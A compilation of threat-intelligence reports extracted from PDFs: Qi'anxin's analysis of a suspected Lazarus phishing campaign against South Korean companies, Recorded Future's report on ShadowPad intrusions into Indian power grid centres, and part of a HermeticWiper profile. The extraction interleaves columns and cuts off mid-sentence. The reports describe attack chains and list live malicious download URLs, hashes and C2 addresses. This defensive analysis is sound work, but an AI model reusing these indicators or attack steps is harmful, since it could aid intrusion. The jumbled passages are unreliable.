aw k , Aiye Leopard Organization S _no w L e o par d and this time the Vajra Eleph ) . _ _ _ _ _ _ _ _ _ _ _ _ _ In the future , we will
continue to be at the forefront of global mobile security research , tracking and analyzing the first timeThe latest mobile security
incidents , in -depth exploration and tracking of domestic mobile - related black and gray products , are striving to maintain the
network security on the mobile terminal .
Appendix 3 Introduction of Qi'anxin Mobile Products
Qi'anxin Mobile Terminal Security Management System ( Tianji ) is aimed at customers in public security , justice ,
government , finance , operators , energy , manufacturing and other industries . Terminal control and strong terminal security
features _A unique mobile terminal security management product . The product is based on Qi Anxin 's security technology
accumulation and operation experience on massive mobile terminals , from hardware , OS , application , data to link and other multi levelSecurity protection solutions to ensure the security of enterprise data and applications in mobile terminals .
Qi'anxin Mobile Situational Awareness System is a mobile situational awareness management product jointly launched by
Qi'anxin Security Supervision BG Situational Awareness First Division and its partner Qi'anxin Virus Response Center Mobile Team.
Different from traditional mobile security vendors, which focus on APP production and release, and provide customers with APP
reinforcement, detection, analysis, etc.; mobile situational awareness is oriented to customers with regulatory responsibilities,
focusing more on APP download and use, and find out the scope of the jurisdiction. The use of APP provides customers with functions
such as APP illegal detection, compliance analysis, and traceability.
11/11
Snow Abuse: Analysis of the Suspected Lazarus Attack
Activities against South Korean Companies
Original
red raindrops team qianxin threat intelligence center 2022-04-11 00:27
included in the collection
 8 #APT 59 #Lazarus 4
overview
Spear phishing attacks have long been one of the most convenient ways to get
into an enterprise network . Spear phishing attacks are often used against large
corporations, banks, or influencers, and most commonly target high-level employees
who have access to rich information, or employees in departments that need to open
a lot of foreign documents at work . Generally speaking, attack files are macro code
written in Microsoft Word or JavaScript code, which are ver y small, have no
superfluous programs built into the files, and whose sole purpose is to download
more destructive malware on the target object's computer. Once downloaded,
malware spreads further through the targeted network or is only used to steal all
available information, helping attackers find targets in the network .
recently, the red raindrop team of the qianxin threat intelligence center has
captured a large number of spear phishing attack samples against south korean
companies in the daily threat hunt. it is infected through a vulnerable document or
chm file, and distinguishes the number of bits of the current operating system, and
executes macro code corresponding to the number of bits of the system to achieve
the best attack effect. after research, the characteristics of this attack are as follows:
1. THE INITIAL INFECTED DOCUMENTS ARE DOWNLOADED FOR SUBSEQUENT
EXECUTION USING CVE-2017-0199 REMOTE CODE EXECUTION VULNERABILITY;
2. The subsequent attack uses the UAC Bypass technology of the local RPC
interface to elevate the privilege;
3. subsequent load packing interference analysis and use simple means to detect
whether it is in the sandbox;
sample analysis
0x01 decoy file
The attack sample captured this time is a docx file, all of which use the Microsoft
Office/WordPad remote code execution vulnerability, its vulnerability number is CVE2017-0199, and the decoy analysis of the related samples is as follows:
the bait file induces the victim to click "enable content" in a number of ways. for
example, 
 .docx (emergency disaster assistance request form)
induces users to click on enable content by displaying garbled file content.
The bait file 
) .docx (Daehan Mine Development Shares) shows that
the document was produced by Windows 11, inducing the victim to click on the
enabled content.
or fake microsoft's error message, the same purpose is to induce users to click to
enable content.
0x02 malicious macro
Here, take 
 .docx (notification) as an example, click on the execution bait fil
e, access the remote template http://VM2rJOnQ.naveicoipg.online/ACMS/0hUxr3Lx/p
olice0?mid=h1o5cYfJ download execution, and the file downloaded and executed is a
s follows.
The macro code embedded in the file first downloads the attached payload
(32Bit/64Bit) from the outside:
mount page for payload:
the payload is then decr ypted and injected into the winword .exe process.
0x03 injected code
the injected code is first anti-sandboxed in the main function.
At the same time, it will detect whether the currently running process contains v3l
4sp .exe, and if so, exit the program. v3l4sp .exe a subroutine of south Korean AhnLa
b's free antivirus software V3 Lite, indicating that the target of this attack is not for in
dividual users in South Korea.
Subsequently, the error .log is released in the %AppData%Local\Microsoft\TokenB
roker director y, and "s/o2ldz9l95itdj2e/error.txt?dl=0", and the Release RuntimeBroke
r .exe is decr ypted in the same director y.
The UAC Bypass technology of the native RPC interface is then used to perform
the RuntimeBroker .exe.
finally, it is persisted through the registr y startup key.
0x04 RuntimeBroker.exe
RuntimeBroker .exe interfered with the researchers' analysis by adding a UPX shel
l, and after dehulling, it was found that it also detected the sandbox in the main func
tion, and also detected whether the currently running process contained v3l4sp.exe a
nd AYAgent.aye. AYAgent.aye is part of ALYac, south Korea's Internet security suite, es
tsoft.
Verify whether the currently running program path is a RuntimeBroker .exe in the
%AppData%Local\Microsoft\TokenBroker director y, or delete itself if it is not, which is
to evade dynamic detection of the sandbox.
It is then added to windows Defender's exclusion list using the PowerShell
command.
Read the contents of the released error .log file and stitch it together with the
URL dl.dropboxusercontent.com of the cloud ser ver Dropbox, so that it acts as an
intermediar y to pass the C2 information.
The user information is then uploaded to the hxxp://naveicoipg.online/post2.php
in the specified format "uid=%s&avtype=%d&avtype=%d&major v=%d", where the va
lue of avtype is 1 when no soft kill is specified, 2 when v3l4sp .exe is present, and 3 w
hen AYAgent.aye is present.
Subsequent visits naveicoipg.online's "/fecommand.acm" page to get the payload,
where uid is the victim ID of the previous callback C2.
the obtained instruction content calls the function sub_401410 executed, and the
malware maintains an array of structs of size 100 to record the executed instructions.
If the instruction has not been executed before, the calling function sub_401280
download the corresponding subsequent payload from C2, download the subsequent
URL format is "/< instruction name >", and the obtained content will be executed as
a PE file.
unfortunately, subsequent content is not available as of the time of analysis.
traceability and correlation
By searching the database for the keyword "fecommand.acm", we discovered
another way to spread attack samples, distributed by using CHM files.
The retrieved chmext .exe malicious program whose parent file is a CHM file.
the short link in the bait chm file was redirected to the actual website of the
korean centers for disease control and prevention, which echoed the bait file name,
making it easier for the victim to get caught.
After comparison, the chmext .exe is basically the same as the above injected cod
e, only C2 is different, chmext .exe C2 is naveicoipc.tech.
IN THE PROCESS OF CONTINUING TO TRACE THE SOURCE, WE ALSO FOUND
PHISHING EMAILS THAT IMPERSONATED THE KOREAN INTERNET INFORMATION
CENTER. COMBINED WITH VARIOUS INDICATIONS, WE SUSPECT THAT THIS ATTACK IS
FROM THE HANDS OF THE APT ORGANIZATION, ITS ATTACK TARGET IS NOT AN
INDIVIDUAL
ORDINARY
USER,
ATTACK
METHODS
COMPLEX
CHANGEABLE, ITS FOLLOW-UP REAL PAYLOAD IS RELATIVELY HIDDEN, AND THE
NUMBER OF ATTACK SAMPLES IS LARGE, AND WE HAVE CAPTURED A LARGE NUMBER
OF ATTACK SAMPLES IN A SHORT PERIOD OF TIME.
Combing through the APT organization targeting South Korea, we found that this
attack is suspected to be from the APT organization Lazarus, as early as a few years a
go, the Lazarus organization was good at using the cloud ser ver Dropbox to carr y out
the attack , followed by the Februar y malwarebytes labs disclosed Lazarus's report [1] ,
Lazarus also created the RuntimeBroker process in the attack process.
Coincidentally, in the process of tracing the origin of C2, we found that as early a
s March 25, the foreign security company Rewterz made an early warning of the navei
coipc.tech domain name [2] , and the URL link in its warning was basically consistent w
ith the sample link we captured earlier.
summary
as of the end of the draft, there are still new attack samples being discovered, whi
ch is worth our vigilance!
PHISHING EMAILS HAVE ALWAYS BEEN ONE OF THE IMPORTANT MEANS OF ATTA
CKS BY APT ORGANIZATIONS, AND MOST USERS ARE NOT SECURITY-CONSCIOUS AN
D ARE EASILY CONFUSED BY SPOOFED EMAILS, DISGUISED DOCUMENTS, AND DECEP
TIVE HEADERS. THE QIANXIN RED RAINDROP TEAM REMINDS USERS TO BEWARE OF
PHISHING ATTACKS, NEVER OPEN LINKS OF UNKNOWN ORIGIN SHARED ON SOCIAL
MEDIA , DO NOT CLICK ON EMAIL ATTACHMENTS THAT EXECUTE UNKNOWN SOURCE
S, DO NOT RUN UNKNOWN FILES WITH EXAGGERATED TITLES, AND DO NOT INSTALL
APPS FROM IRREGULAR SOURCES. BACK UP IMPORTANT FILES IN A TIMELY MANNER,
UPDATE AND INSTALL PATCHES.
If you need to run, install an application of unknown origin, you can first use the
Qianxin Threat Intelligence File Deep Analysis Platform (https://sandbox.ti.qianxin.co
m/sandbox/page) to identify. At present, it supports in-depth analysis of files in vario
us formats, including Windows and Android platforms [3].
AT PRESENT, THE FULL RANGE OF THREAT INTELLIGENCE DATA BASED ON THE QI
ANXIN THREAT INTELLIGENCE CENTER, INCLUDING THE QIANXIN THREAT INTELLIGEN
CE PLATFORM (TIP), TIANQING, TIANYAN ADVANCED THREAT DETECTION SYSTEM, QI
ANXIN NGSOC, ANDRXIN SITUATIONAL AWARENESS, ETC., HAVE SUPPORTED THE AC
CURATE DETECTION OF SUCH ATTACKS.
IOCs
44BE20C67A80AF8066F9401C5BEE43CB
65ABAD905E80F8BC0A48E67C62E40119
1FD8FEF169BF48CFDCF506151264128C
7B07CD6BB6B5D4ED6A2892A738FE892B
9AD00E513364E9F44F1B6712907CBA9B
15A7125FE9E629122E1D1389062AF712
749CCB545B74B8EB9DFF57FCB6A07020
1769A818548A0B52C7BE2A0A213A9384
9775EF6514916977D73E39A6B09029BC
210DB61D1B11C1D233FD8A0645946074
B587851D8A42FC8C23F638BBC2EB866B
BDFB5071F5374F5C0A3714464B1FA5E6
C0B24DC8F53227CE0C64439B302CA930
619649CE3FC1682C702D9159E778F8FD
D19DD02CF375D0D03F557556D5207061
D47F7FCBE46369C70147A214C8189F8A
E3FFDA448DF223B240A20DAE41E20CEF
825730D9DD22DBAE7F2BD89131466415
4382384FEB5AD6B574F68E431006905E
AAD5A9F3BE23D327B9122A7F7E102443
556ABC167348FE96ABFBF5079C3AD488
http://VM2rJOnQ.naveicoipg.online/ACMS/0hUxr3Lx/police0?mid=h1o5cYfJ
http://twlekqnwl.naveicoipg.online/ACMS/0y0fMbUp/supportTemplate7?
cid=yypwjelnblw
http://olsnvolqwe.naveicoipg.online/ACMS/0y0fMbUp/supportTemplate5?
cid=pqwnlqwjqg
http://vnwoei.naveicoipg.online/ACMS/0s4AtPuk/wwwTemplate?cid=nnwoieopq
http://jvnquetbon.naveicoipg.online/ACMS/0pxCtBMz/policeTemplate1?
mid=ksndoqiweyp
http://AOsM8Cts.naveicoipg.online/ACMS/0ucLxIjP/toyotaTemplate8?tid=CN2xsRPI
http://ADzJvazJ.naveicoipg.online/ACMS/0ucLxIjP/toyotaTemplate1?tid=2uiSmhx2
http://CEcOMTp3.naveicoipg.online/ACMS/0o0WQher/ttt3?qwe=v0OSWog5
http://123fisd.naveicoipg.online/ACMS/0mFCUrPf/temp04060?ttuq=qcnvoiek
http://naveicoipc.tech/ACMS/0Mogk1Cs/topAccounts?uid=3490blxl
http://1xJOiKZd.naveicoipa.tech/ACMS/Cjtpp17D/Cjtpp17D64.acm
http:// uzzmuqwv.naveicoipc.tech/ACMS/1uFnvppj/1uFnvppj32.acm
http://naveicoipd.tech/ACMS/018ueCdS/blockchainTemplate
http://bcvbert.naveicoipe.tech/ACMS/01AweT9Z/01AweT9Z64.acm
http://xjowihgnxcvb.naveicoipf.online/ACMS/07RRwr wK/07RRwr wK64.acm
reference links
[1]. https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarusapt-leverages-windows-update-client-github-in-latest-campaign/
[2]. https://www.rewterz.com/rewterz-news/rewterz-threat-alert-lazarus-apt-group-io
cs-6
[3]. https://ti.qianxin.com/portal
Click to read the original ar ticle to ALPHA 5.0
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21CTO
THREAT
ANALYSIS
By Insikt Group
CHINA
Continued Targeting of
Indian Power Grid Assets by
Chinese State-Sponsored
Activity Group
April 6, 2022
THREAT ANALYSIS | CHINA
Despite a partial troop disengagement between India and
China from February 2021, the prolonged targeting of Indian
critical infrastructure continues to raise concerns over prepositioning activity being conducted by Chinese adversaries.
While this latest activity displays targeting and capability
consistencies with previously identified RedEcho activity,
there are also some notable distinctions. At this time, we have
not identified technical evidence allowing us to attribute it to
RedEcho, and we are currently clustering this latest activity
under the temporary group name Threat Activity Group 38 (TAGThis report details a campaign conducted by a likely Chinese state-sponsored 38) 1.
threat activity group targeting the Indian power sector. The activity was identified
through a combination of large-scale automated network traffic analytics and
expert analysis. Data sources include the Recorded Future Platform, SecurityTrails,
PolySwarm, Team Cymru
s Pure Signal
, and common open-source tools and
techniques. The report will be of most interest to individuals engaged in strategic
and operational intelligence relating to Indian and Chinese cyber activity. Recorded
Future notified the appropriate Indian government departments prior to publication
of the suspected intrusions to support incident response and remediation
investigations within affected organizations. With thanks to our colleagues at
Dragos for early sharing and collaboration.
Executive Summary
In February 2021, Recorded Future
s Insikt Group reported
on intrusion activity targeting operational assets within India
power grid that we attributed to a likely Chinese state-sponsored
threat activity group we track as RedEcho. Following a short lull
after the publication of our RedEcho reporting, we have detected
ongoing targeting of Indian power grid organizations by Chinalinked adversaries, frequently using the privately shared modular
backdoor ShadowPad. ShadowPad continues to be employed by
an ever-increasing number of People
s Liberation Army (PLA) and
Ministry of State Security (MSS)-linked groups, with its origins
linked to known MSS contractors first using the tool in their own
operations and later likely acting as a digital quartermaster.
Key Judgments
 Given the continued targeting of State and Regional Load
Despatch Centres in India over the past 18 months, first
from RedEcho and now in this latest TAG-38 activity, this
targeting is likely a long-term strategic priority for select
Chinese state-sponsored threat actors active within
India.
 The prolonged targeting of Indian power grid assets by
Chinese state-linked groups offers limited economic
espionage or traditional intelligence-gathering
opportunities. We believe this targeting is instead likely
intended to enable information gathering surrounding
critical infrastructure systems or is pre-positioning for
future activity.
 The objective for intrusions may include gaining an
increased understanding into these complex systems
in order to facilitate capability development for future
use or gaining sufficient access across the system in
preparation for future contingency operations.
In recent months, we observed likely network intrusions
targeting at least 7 Indian State Load Despatch Centres (SLDCs)
responsible for carrying out real-time operations for grid control
and electricity dispatch within these respective states. Notably,
this targeting has been geographically concentrated, with the
identified SLDCs located in North India, in proximity to the
disputed India-China border in Ladakh. One of these SLDCs
was also targeted in previous RedEcho activity. This latest
set of intrusions, however, is composed of an almost entirely
different set of victim organizations. In addition to the targeting
of power grid assets, we also identified the compromise of a
national emergency response system and the Indian subsidiary
of a multinational logistics company by the same threat activity
group. To achieve this, the group likely compromised and co- 1 Typically, Insikt Group publicly names a new threat activity group or campaign,
opted internet-facing DVR/IP camera devices for command and such as RedFoxtrot, when analysts have data corresponding to at least 3 points on
the Diamond Model of Intrusion Analysis with at least medium confidence. We will
control (C2) of Shadowpad malware infections, as well as use of occasionally report on significant activity using a temporary activity clustering name
the open source tool FastReverseProxy (FRP).
such as TAG-38, where the activity is new and significant but doesn
t map to existing
groupings and hasn
t yet graduated or merged into an established activity group.
TA-CN-2022-0406
Recorded Future 
 | www.recordedfuture.com
THREAT ANALYSIS | CHINA
Figure 1: High-level TAG-38 TTPs and Recorded Future data sourcing graphic (Source: Recorded Future)
www.recordedfuture.com | Recorded Future 
TA-CN-2022-0406
THREAT ANALYSIS | CHINA
Figure 2: Timeline of Insikt research on Chinese state-sponsored groups targeting India versus geopolitical events (Source: Recorded Future)
Background
Our February 2021 RedEcho repor t highlighted the
compromise of 10 distinct Indian power sector organizations,
India continues to be a major target of Chinese cyber
including 4 of the 5 of the country
s Regional Load Despatch
espionage activity, as detailed in historical Recorded Future
Centres (RLDC), 2 ports, a large generation operator, and other
reporting on RedDelta, RedEcho, RedFoxtrot, TAG-28, and
operational assets. These assets offer minimal value as economic
additional client-facing research. Although tensions reduced,
espionage or other traditional intelligence targets, which led
aided by partial troop disengagement, in February 2021 following
us to assess a likely goal of pre-positioning network access to
prolonged border stand-offs in the Ladakh region, there has
support Chinese strategic objectives. Following that February
been limited progress between the states regarding respective
2021 report, we observed the group abandon the operational
territorial claims.
infrastructure highlighted and shift its infrastructure modus
operandi. Despite this, evidence of targeting of Indian power
assets and organizations with links to critical infrastructure
from Chinese state-sponsored actors continued. This included
the targeting of an Indian managed service provider (MSP) and
operational technology (OT) vendor using ShadowPad, which
aligns with activity described in recent Dragos reporting. We
attribute this particular activity to a separate activity group we
track as Threat Activity Group 26 (TAG-26). We have observed
TAG-26 targeting multiple high-value organizations in India using
ShadowPad, Poison Ivy, and the RoyalRoad RTF weaponizer.
The use of ShadowPad across Chinese activity groups
continues to grow over time, with new clusters of activity
regularly identified using the backdoor as well as continued
adoption by previously tracked clusters. At this time, we track
at least 10 distinct activity groups with access to ShadowPad,
which is assessed to have likely been originally developed and
used by MSS-linked contractors linked to the APT41 (BARIUM)
intrusion set.
TA-CN-2022-0406
Recorded Future 
 | www.recordedfuture.com
THREAT ANALYSIS | CHINA
Figure 3: Timeline of TAG-38 C2 infrastructure detection and network traffic analysis (NTA) exfiltration events (Source: Recorded Future)
Threat Analysis
Since at least September 2021, we have observed TAG38 intrusions targeting the identified victim organizations. The
group has employed probable compromised infrastructure for
command and control of ShadowPad implants used to target the
identified networks, as well as using the open source tool Fast
Reverse Proxy (FRP). Figure 3 highlights ongoing TAG-38 C2
detection and network traffic analysis exfiltration events from
victim networks within the Recorded Future platform between
September 2021 and March 2022.
Targeting of Indian Power Sector
The identified victimology within this latest campaign is
confined to Indian targets, specifically at least 7 SLDCs, the
Indian subsidiary of a multinational logistics company, and
a national emergency response system. As shown in Figure
4, the identified SLDCs were all located in Northern India, in
proximity to the disputed China-India border in Ladakh. SLDCs
are responsible for carrying out real-time operations for
grid control and electricity dispatch within these respective
states, similar to the Regional Load Despatch Centres (RLDCs)
previously targeted in reported RedEcho activity. This makes
these organizations critical for maintaining grid frequency and
stability, with SLDCs maintaining access to supervisory control
and data acquisition (SCADA) systems present across respective
states for the purpose of grid control and electricity dispatch. At
this time, we have not observed evidence of access to industrial
control system (ICS) environments in this activity.
www.recordedfuture.com | Recorded Future 
TA-CN-2022-0406
THREAT ANALYSIS | CHINA
Figure 4: Map of TAG-38 victim State Load Despatch Centre (SLDC) locations. Previously reported RedEcho victim locations also displayed in gray (Source: Recorded Future)
TAG-38 Infrastructure Clustering
Using a combination of proactive infrastructure detection
techniques and network traffic analysis, we uncovered a cluster
of C2 infrastructure engaged in this prolonged targeting of
Indian critical infrastructure over several months. Based on our
analysis, the adversary infrastructure cluster identified consists
entirely of likely compromised internet-facing, third-party DVR/
IP camera devices. The compromise of often poorly secured
internet-of-things (IOT) devices such as IP cameras for use in
follow-on intrusion activity has previously been seen for threats
ranging from Mirai-based botnets (1,2) to the Chinese statesponsored threat activity group RedBravo (APT31/ZIRCONIUM).
At this time, we have not determined the means in which these
devices were originally compromised, which may include the use
of default credentials. Using a series of analytical techniques
and heuristics, we were able to cluster a network of these C2
IPs together, all of which matched all or most of the following
criteria:
 Victim infrastructure observed communicating to all of
the identified C2 servers consisted solely of the same
overlapping Indian power grid victims, logistics company,
and Indian emergency response system.
 All C2 servers were likely compromised DVR/IP camera
devices and were primarily geolocated in Taiwan or
South Korea.
 Likely compromised devices were observed with the
default open ports 80/554/9090 associated with
the compromised device, as well as an additional
actor-controlled port(s) opened for malware C2
communications.
 A large proportion were confirmed as ShadowPad
C2 servers using Recorded Future C2 detection
methodologies, a technique previously used in historical
Insikt Group reporting on RedEcho and other Chinese
state-sponsored activity groups (1,2,3).
 A large proportion of the identified C2s had the open
source tool Fast Reverse Proxy (FRP) server component
configured on port 8443. FRP can read predefined
configurations and allows you to expose local services
that are hidden behind the NAT or a firewall to the
internet. This tool has been abused by numerous statesponsored groups, including the Iran-linked group
Phosphorus and several Chinese actors (1,2).
 A large proportion of the identified C2s
shared a unique SSL certificate spoofing
Microsoft on port 443 (SHA1 fingerprint:
0f6afc6e4e383883a6308fcf8d84b14a5bf4ccaf). This
certificate has multiple links to wider Chinese statesponsored cyber espionage activity and is discussed in
further detail below.
TA-CN-2022-0406
Recorded Future 
 | www.recordedfuture.com
THREAT ANALYSIS | CHINA
ShadowPad C2
IP Address
First Seen
14.43.108[.]22
AS4766
Aug 27, 2021
210.123.140[.]200
AS45361
Sep 15, 2021
112.171.218[.]39
AS4766
Jan 12, 2022
114.35.191[.]224
AS3462
Jan 12, 2022
59.10.140[.]47
AS4766
Jan 13, 2022
121.151.212[.]101
AS4766
Oct 18, 2021
119.200.211[.]197
AS4766
Feb 8, 2022
124.216.159[.]70
AS4766
Feb 23, 2022
211.184.160[.]108
AS4766
Feb 28, 2022
The use of a shared SSL certificate (SHA1 fingerprint
0f6afc6e4e383883a6308fcf8d84b14a5bf4ccaf) exhibited on
several TAG-38 servers was also notable. This SSL certificate
was also identified historically on a few dozen other servers
with links to Chinese cyber espionage activity. For example,
one of the IP addresses historically exhibiting this certificate,
185.243.41[.]240, concurrently hosted several domains attributed
to the group we track as TAG-26 referenced earlier in this report
(including supership.dynv6[.]net, supermarket.ownip[.]net, and
greatsong.soundcast[.]me). At this time, we believe it is unlikely
that the use of this certificate is exclusive to a single activity
group. This is based on wider context such as differing targeting
patterns, infrastructure TTPs, and capability use linked to the
infrastructure historically sighted exhibiting this certificate,
which may instead be indicative of a shared capability.
Table 1: Sample list of ShadowPad C2 servers linked to TAG-38 targeting of Indian power sector and
additional victims
Subject:
CN=www.microsoft.com
Overlaps With Other China-Nexus Threat Activity
Issuer:
CN=www.microsoft.com
While investigating the TAG-38 intrusion activity, we
uncovered multiple links to other suspected Chinese statesponsored activity. Of note, the targeting and use of ShadowPad
is consistent with previously reported RedEcho activity, and this
latest activity also includes a repeated SLDC victim. However,
there were distinct differences in the infrastructure TTPs used
in this latest campaign, and at this time we have not identified
sufficient technical evidence tying these 2 activity groups
together beyond the common targeting sets and capability use.
Decimal:
-3057430298263606566302079470361224100
Hex:
0xfdb3290c46b41fb24a0fefd16e565c5c
Validity:
2021-06-07 14:29:51 to 2039-12-31 23:59:59
Names:
www.microsoft.com
SHA-256:
B63e14d24e0893f85e80b4b94ad0bd800d6e105
70dc93ec56bbe75cd665385b0
SHA-1:
0f6afc6e4e383883a6308fcf8d84b14a5bf4ccaf
MD5:
d06cc3e6f5673b2e9bfdac55944109a5
Figure 6: Shared SSL certificate linked to TAG-38 and wider Chinese cyber espionage activity
Figure 5: Maltego chart of TAG-38 infrastructure clustering
www.recordedfuture.com | Recorded Future 
TA-CN-2022-0406
THREAT ANALYSIS | CHINA
Mitigations
Outlook
We recommend that users conduct the following measures
Recorded Future continues to track Chinese state-sponsored
to detect and mitigate activity associated with TAG-38 activity: activity groups targeting a wide variety of sectors globally. A
large majority of this conforms to longstanding cyber espionage
 Configure your intrusion detection systems (IDS),
efforts, such as targeting of foreign governments, surveillance
intrusion prevention systems (IPS), or any network
of dissident and minority groups, and economic espionage.
defense mechanisms in place to alert on 
 and upon
However, the coordinated effort to target Indian power grid
review, consider blocking connection attempts to and
assets in recent years is notably distinct from our perspective
from 
 the external IP addresses and domains listed in
and, given the continued heightened tension and border disputes
the appendix.
between the two countries, we believe is a cause for concern.
 Recorded Future proactively detects and logs malicious
Based on the complexity present across national critical
server configurations in the Command and Control
infrastructure
systems, this often necessitates lengthy
Security Control Feed. The Command and Control list
reconnaissance operations to better understand the inner
includes tools used by TAG-38 and Chinese stateworkings of these systems, both in a technological and a physical
sponsored threat activity groups, such as ShadowPad.
sense. This is reflected in publicly documented targeted intrusion
Recorded Future clients should alert on and block these
activity targeting industrial control system (ICS) networks
C2 servers to allow for detection and remediation of
historically, which can often span years. At this time, we have
active intrusions.
not identified evidence of compromise of ICS networks by TAG
 Monitor for consistent anomalous outbound traffic from
38 operators from our visibility, although we cannot discount
your network to unusual servers, such as compromised
this possibility. Given the prolonged targeting of both SLDCs
DVR/IP camera systems in this case, which may be
and RLDCs within India, first from RedEcho and now in this latest
indicative of malware beaconing activity.
TAG-38 activity, we believe this targeting is a strategic priority
 Ensure software and firmware associated with IOT
for these actors and is likely to continue.
devices, such as DVR/IP camera systems, are kept up to
date. Always change any default passwords to a strong,
complex password and turn on two-factor authentication
(2FA) if available. Where possible, avoid exposing these
devices directly to the internet.
 Recorded Future Threat Intelligence, Third-Party
Intelligence, and SecOps Intelligence module users can
monitor real-time output from network traffic analysis
analytics to identify suspected targeted intrusion activity
involving your organization or key vendors and partners.
TA-CN-2022-0406
Recorded Future 
 | www.recordedfuture.com
THREAT ANALYSIS | CHINA
Appendix A 
 Indicators
Readers can access the indicators listed below in our public Insikt Group Github repository: https://github.com/Insikt-Group/
Research (Continued Targeting of Indian Power Grid Assets by China State-sponsored Activity Group - March 2022).
Note: We have observed a portion of the compromised infrastructure listed below indiscriminately scanning the internet
outside of the First Seen/Last Seen dates associated with TAG-38 activity. Careful consideration should be given to these dates
when analyzing any communications to these network indicators within your environment. The malicious activity described in this
report consists of consistent long-term outbound network traffic to these nodes indicative of malware beaconing, not inbound
scanning or brute forcing activity.
Network Indicator
First Seen
Last Seen
14.43.108[.]22
Aug 27, 2021
Dec 31, 2021
59.10.140[.]47
Jan 13, 2022
Feb 2, 2022
59.127.10[.]132
Feb 12, 2022
Mar 15, 2022
61.74.255[.]16
Feb 25, 2022
Mar 15, 2022
122.116.165[.]62
Feb 23, 2022
Mar 15, 2022
112.171.218[.]39
Jan 12, 2022
Feb 13, 2022
114.34.10[.]80
Feb 17, 2022
Mar 15, 2022
114.35.16[.]182
Mar 1, 2022
Mar 20, 2022
114.35.191[.]224
Jan 12, 2022
Feb 22, 2022
119.200.211[.]197
Feb 8, 2022
Mar 3, 2022
121.128.198[.]233
Feb 17, 2022
Mar 13, 2022
121.151.212[.]101
Oct 18, 2021
Dec 23, 2021
122.116.234[.]73
Dec 23, 2021
Mar 13, 2022
124.216.159[.]70
Feb 23, 2022
Mar 21, 2022
175.200.146[.]227
Dec 29, 2021
Feb 17, 2021
175.208.234[.]194
Feb 18, 2022
Feb 21, 2022
175.214.193[.]170
Feb 12, 2022
Mar 21, 2022
182.220.237[.]217
Feb 17, 2022
Mar 22, 2022
210.123.140[.]200
Sep 15, 2021
Mar 2, 2022
211.184.160[.]108
Feb 28, 2022
Mar 22, 2022
220.132.106[.]193
Feb 17, 2022
Mar 15, 2022
220.133.141[.]117
Feb 17, 2022
Mar 15, 2022
Shared SSL Certificate (SHA1 Fingerprint): 0f6afc6e4e383883a6308fcf8d84b14a5bf4ccaf
www.recordedfuture.com | Recorded Future 
TA-CN-2022-0406
THREAT ANALYSIS | CHINA
Appendix B 
 MITRE ATT&CK Techniques
Tactic: Technique
ATT&CK Code
Resource Development: Compromise Infrastructure
T1584
Command and Control: Proxy: Multi-hop Proxy
T1090.003
Command and Control: Application Layer Protocol - Web Protocols
T1071
Exfiltration: Exfiltration Over C2 Channel
T1041
TA-CN-2022-0406
Recorded Future 
 | www.recordedfuture.com
THREAT ANALYSIS | CHINA
About Insikt Group
Recorded Future
s Insikt Group, the company
s threat research division, comprises
analysts and security researchers with deep government, law enforcement, military, and
intelligence agency experience. Their mission is to produce intelligence that reduces
risk for clients, enables tangible outcomes, and prevents business disruption.
About Recorded Future
Recorded Future is the world
s largest intelligence company. The Recorded
Future Intelligence Platform provides the most complete coverage across adversaries,
infrastructure, and targets. By combining persistent and pervasive automated data
collection and analytics with human analysis, Recorded Future provides real-time visibility
into the vast digital landscape and empowers clients to take proactive action to disrupt
adversaries and keep their people, systems, and infrastructure safe. Headquartered in
Boston with offices and employees around the world, Recorded Future works with more
than 1,300 businesses and government organizations across 60 countries.
Learn more at recordedfuture.com and follow us on Twitter at @RecordedFuture.
www.recordedfuture.com | Recorded Future 
TA-CN-2022-0406
MALWARE/
TOOLS
PROFILE
By Insikt Group
March 2, 2022
HermeticWiper and
PartyTicket Targeting
Computers in Ukraine
MALWARE/TOOL PROFILE
Background
HermeticWiper, also known as FoxBlade, is a data wiper found
targeting finance and government contractor organizations in
Ukraine, Latvia, and Lithuania, according to Symantec.
This report is a technical overview of the HermeticWiper and
PartyTicket malware reported by ESET and Symantec on February 23,
2022. The malware was primarily delivered to Ukrainian organizations
coincident with the Russian invasion of Ukraine. It is intended for those
looking for a high-level overview of the malware
s TTPs and mitigations.
ESET first reported that their telemetry indicated the
malware was delivered to hundreds of systems in Ukraine, and
the malware was executed on February 23, 2022, following DDoS
attacks on Ukrainian websites earlier that day.
Executive Summary
It was also reported by ESET that the malware was a signed
executable, with a code-signing certificate issued to Hermetica
Insikt Group analyzed the HermeticWiper malware
Digital Ltd. Code-signing certificates allow malware to be
and the associated ransomware component named
more effectively deployed by bypassing detection capabilities,
PartyTicket that were first publicly reported targeting
such as Microsoft Defender SmartScreen and built-in browser
Ukrainian organizations on February 23, 2022. We
protections. The developer who operates Hermetica Digital Ltd.
determined that both components serve the purpose
has publicly denied any involvement in the development of the
of data destruction, with the 
ransomware
 component
malware, however.
differing significantly in form and function from known
criminal ransomware threats.
Key Judgments
 The use of a wiper malware with an associated
destructive ransomware component is similar
in method to WhisperGate, NotPetya, and other
operations credited to Sandworm.
 There is insufficient evidence at this time to
attribute HermeticWiper to the Russian state,
but the timing of the mass deployment of
HermeticWiper with kinetic attacks and other
cyberattacks on Ukraine, and a methodology
similar to past attacks by Russian governmentassociated actors, lends credence to such an
attribution.
 The PartyTicket ransomware attacks are unlikely
to be a true ransomware campaign conducted
for financial gain. It is more likely that the
ransomware component is a ruse and the real
purpose of the attacks are disruption and data
destruction.
Figure 1: The now-revoked Hermetica Digital Ltd. code signing certificate used to sign
HermeticWiper (Source: Recorded Future)
MTP-2022-0302
Recorded Future 
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MALWARE/TOOL PROFILE
Microsoft reported that it identified the wiper attacks on HermeticWiper
February 24, 2022 and alerted the Ukrainian government.
HermeticWiper
s primary purpose is to corrupt the NTFS
Although no direct attribution of HermeticWiper has been and/or FAT file systems of a victim
s machine to prevent it from
made by security researchers at this time, the timing being booting correctly. It was written in Visual Studio 2008 and 2015
coincident with other cyberattacks and physical attacks in a combination of C and assembly and uses an included kernel
on Ukraine and a history of similar tactics by Russian state- driver to implement much of its disk access functionality. The
associated actors in their use of data wipers in the past, including use of a kernel driver instead of conventional Windows API calls
WhisperGate in January 2022 and NotPetya in 2017, suggest the is thought to evade detections that may catch the higher-level
involvement of a Russian state operation.
API calls being made. The compiler timestamps for 2 samples
show that they were compiled on December 28, 2021, and 1
other sample shows February 23, 2022. Although timestamps
Technical Analysis
can be forged, the timestamp from December 28, 2021, could
Multiple infection vectors for the HermeticWiper malware be used to determine how far in advance this operation was
